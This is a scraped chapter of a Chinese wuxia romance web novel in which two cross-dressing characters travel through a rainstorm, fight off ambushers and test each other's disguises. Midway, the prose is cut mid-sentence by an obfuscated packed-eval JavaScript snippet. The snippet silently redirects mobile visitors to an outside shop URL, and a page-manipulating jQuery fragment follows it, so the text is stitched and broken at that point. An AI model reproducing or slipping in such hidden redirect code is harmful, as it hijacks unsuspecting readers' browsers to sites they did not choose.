文趣网 > 都市小说 > 刺客过家家GB(先婚后爱) > 4. 林间伞下
    文欣在犹疑。

    方才,他几乎已控制不住他面上最熟练的几条肌肉。

    惊疑,惊乍,甘鹤方才明明那么有礼,那么克制。

    可文欣和西楼才刚刚离开,这个首次逢面的男人居然就直勾勾地盯着自己看,盯着赤身裸体的自己看。

    看得很仔细,仔细极了,像猫捉耗子。

    他可不想失身于一个男人。

    不过细细想来,甘鹤的目光虽灼热,却毫无猥亵轻佻之意,听了自己一番话,竟还变了脸色,立马背过身去了。

    自己的话没什么古怪,古怪的显然是甘鹤。

    文欣琢磨,有两种截然相反的原因。

    第一种,甘鹤并不喜欢女人。

    文欣蹙眉,这对他来说,实在不知道是好事还是坏事。

    第二种,甘鹤虽喜欢女人,却并不与女子交际,眼里只有华发堂的任务。

    不知道这两种推测有没有正确的地方,文欣开始小心翼翼地擦拭身体。

    他的动作极慢,却故意弄出了很大的声响。

    他想看看甘鹤是不是真的不会将头再转回来。

    毕竟自己先前在水中,只露出脸和肩膀,自己的容姿足够漂亮,可以以假乱真,但若赤诚相见,就不太妙了。

    出浴,水溅出来,甘鹤一动不动。

    浴巾滑过柔嫩的肌肤,甘鹤一动未动。

    地上有点儿滑,文欣轻轻叫了一声,甘鹤仅仅攥了攥拳头。

    文欣点了点头,原来甘鹤擅长做木头人。

    他的动作忽而变得极快,一刹那便穿好了衣裳,半湿的长发裹在布里,散着淡淡的梨香。

    “穿好了。”文欣笑了笑,“走吧。”

    “走。”甘鹤还是没有回头,只不过向外走。

    文欣奇道:“你为什么不转过头来看看我?”

    “太阳已经往下走了。”甘鹤道,“我们最好在傍晚之前,走过春蚕渡。”

    文欣怔了怔,甘鹤的话比想象中少。

    两人刚走出院子,却有几滴雨水不偏不倚地砸到了甘鹤头顶的斗笠上。

    文欣轻声道:“我带了伞。”

    “多谢。”甘鹤微微笑了笑,笑也像木头人,“我不用伞。”

    “哦。”文欣把伞撑开打着,只罩着自己。

    既然甘鹤不用伞,就不遮甘鹤。

    走出十一步,雨渐大。

    踏到十七步,有雷。

    快要走到巷口,暴雨突如其来。

    文欣打量着甘鹤,甘鹤居然并不开口。

    “甘大侠。”他叹了口气,将伞试探着放到两人中间,“注意身体,别着凉了。”

    两人的距离变近了,甘鹤迟疑半晌,终于说道:“那我来打。”

    文欣已经很高,甘鹤比文欣还要高些,胳膊也比文欣长些,文欣看着甘鹤的一只手,好稳定的一只手。

    这只手竟然一直是纹丝不动的,于是伞也纹丝不动,风吹过来,不过小溪撞上礁石。

    安静。

    有点儿太安静了。

    文欣走进这条巷子的时候,已然注意到,巷口右手边第二家会推出一辆锈迹斑斑的小车,叫卖烧饼。

    现在小车和人都已经不见了,两三张烧饼掉在地上,还有热气。

    那老板的衣襟上,有四处补丁,绝不会任由刚出炉的烧饼掉在地上。

    当甘鹤的脚刚踏向巷口时,已经有四把砍刀分上、中、下三路打了过来。

    就在这四把刀出手的一瞬间,一柄凌厉的铁扇已从另一个方向打向文欣。

    文欣本能地想要闪躲。

    他在甘鹤身后,并不是容易被先击中的位置。

    可他的脚步却没有动。

    他还不想在甘鹤面前显露武功。

    既然天底下数一数二的杀手正做着自己的保镖,他还有什么可怕?

    玄铁铸成的铁扇一下子击在文欣右腿,桑宋怔了怔。

    他方才见过文欣出手,知道文欣绝非庸手,因此这一招本是虚招,并未用实,下一招击右腰的才是狠手。

    甘鹤听到了文欣的惨叫。

    耳边的惨叫。

    “啊。别,别分神……”文欣似乎正很费力地忍住痛楚,不再喊叫,低声道,“甘鹤,别管我,你先顾好自己……”

    桑宋看向甘鹤,只一刹那,自己已经看向了阴沉沉的天空。

    真的是天空,落针。

    桑宋这时候才发现,自己和四名桑土旗的精锐,已经全然躺在地上,连半点儿力气都使不出来了。

    疼痛是后来才撕心裂肺的。

    他右手的拇指已经与骨肉分离,顺着雨水滚落到三枚烧饼旁边。

    巷外。

    甘鹤关切地看着文欣,却是欲言又止。

    以她的经验,若是上手,一捏便知道伤在何处,可怎么想都有些鲁直,想到自己是个“陌生男人”,文欣又是这样年轻的一位小姐,甘鹤只好先开口问了一句:“你……你没事吧?可有受伤?”

    “没有。”文欣苦笑道,“啊,可是……脚似乎崴了一下。”

    甘鹤当然也看得出,桑宋方才那一招乃是虚招,并未用力,怎奈瞎猫碰上死耗子,才击中了文欣,腿若痛,歇歇就能好,脚崴了,她也能治,可是……

    甘鹤盯着文欣的脚,实在说不出“你把鞋脱了,我给你揉揉”这样的话,她抬头,看到文欣额上豆大的汗珠,柔声道:“我们去找个地方,歇歇脚好不好?”

    “不好。”文欣道。

    “不好?”甘鹤奇道。

    “我又不是小孩子。”文欣道,“忍忍便好了。你不是说了,要在黄昏赶到春蚕渡,现在走才来得及。”

    “可是……”甘鹤迟疑道,“你这般,如何行走?”

    文欣抬头,三分含羞地望着甘鹤:“不知道这位未来的夫君介不介意,先背我一程?”

    甘鹤想了想,既然其实都是女子,也没什么可避嫌的,现在由文欣提出来,背便背了。

    她将伞交出去,然后轻轻一托,文欣只觉腾云驾雾一般,转瞬就趴在了甘鹤背上。

    方才在下面,文欣还有些不敢看甘鹤的表情,如今在背上,一探脑袋便能看到侧颜。

    甘鹤原来很清秀,的确有分寸、懂礼貌,并不讨厌。

    “喂,甘鹤。”文欣突然问道,“我有问题想要问你。”

    “问。”甘鹤道。

    文

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762252|209626||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    欣问:“方才,你为什么不索性杀了那些恶徒?”

    甘鹤猛地停步,一些贯穿十来年的凄厉惨叫仿佛又在耳边萦绕,她低声道:“我不觉得自己有权力夺去别人的生命。”

    “可是你不杀他们,万一他们再去害人呢?”文欣还是在问。

    甘鹤道:“我下的手重,他们的武功,基本已被废去了。”

    “你不像传说中那么可怕。”文欣笑道。

    甘鹤道:“传说中我怎么样?”

    文欣道:“杀人不眨眼。”

    “那也挺好。”甘鹤淡淡道,“能吓唬人。”

    “可是天底下恐怕没有几个人知道——你其实颇有些良知。”文欣又笑了笑,他回味了两个场景。

    甘鹤将兰舟和西楼赶走时,其实悄悄看着院外,目送她们离开,若有异响,她就不会放心。

    甘鹤方才料理这五个恶人时,文欣甚至连一滴血没有看到。

    伞遮了一下,他们两人便已移步院外。

    暴雨已经转成小雨,甘鹤忽道:“别乱动。”

    文欣哼了一声:“谁要乱动……喂!”

    突然,文欣便觉得恍若置身云端,原来甘鹤已经运起轻功,灵鹤一般穿行在屋檐之上,又稳得如履平地,文欣的上半身,甚至从未被雨水打湿过。

    好厉害的轻功,文欣对甘鹤越来越好奇,忍不住道:“有没有人说过,你有点儿像木头人。”

    甘鹤道:“木头人?”

    “你甚至从没正儿八经看过我一眼。”文欣仰着小脸道,“我们可是有婚约的。难道入洞房的时候,你也不看我?”

    甘鹤顿了顿,道:“难道你着急入洞房?”

    “我有什么可着急的。”文欣撇撇嘴道,“这种事,一般不都是你们男人着急。”

    甘鹤不禁笑了笑,她也没什么可着急的。

    文欣急道:“你怎么笑啦?难道你真的着急?”

    甘鹤微笑不语。

    文欣似乎也与传闻中不同,全然没有神龙帮的可怕,只不过是个很可爱的小妹妹。

    这任务,比想象中容易。

    可是任务毕竟是任务,甘鹤虽然没有那么多心眼儿,猎手的本能是从不会出错的。

    她已发现一件很矛盾的事情。

    文欣明明这样清纯、甚至对武功几乎一窍不通,却能轻而易举地把“杀人”、“入洞房”这种话提到嘴边。

    不知是不是因为在神龙帮耳濡目染,却又被兄长保护得很好。不论如何,日后,还得多试探这小妹妹,绝不可掉以轻心。

    文欣心里却在窃喜,甘鹤方才居然还一副得意洋洋的样子,殊不知二人之间的距离已被他轻而易举地拉近了,真是个呆子。如此一来,混进华发堂,找到情报,简直是易如反掌!

    甘鹤的脚力实在很快,离春蚕渡也已越来越近。

    就在文欣正想着怎么继续勾引甘鹤时,甘鹤忽道:“等一等。”

    文欣怔了怔:“怎么了?”

    甘鹤的神色忽而变得古怪,冷冷道:“这味道,很特别。”

    文欣深深吸了一口气,吸到的却只有自己身上的香味,说的不会是自己吧?他只有随着甘鹤的目光望了过去。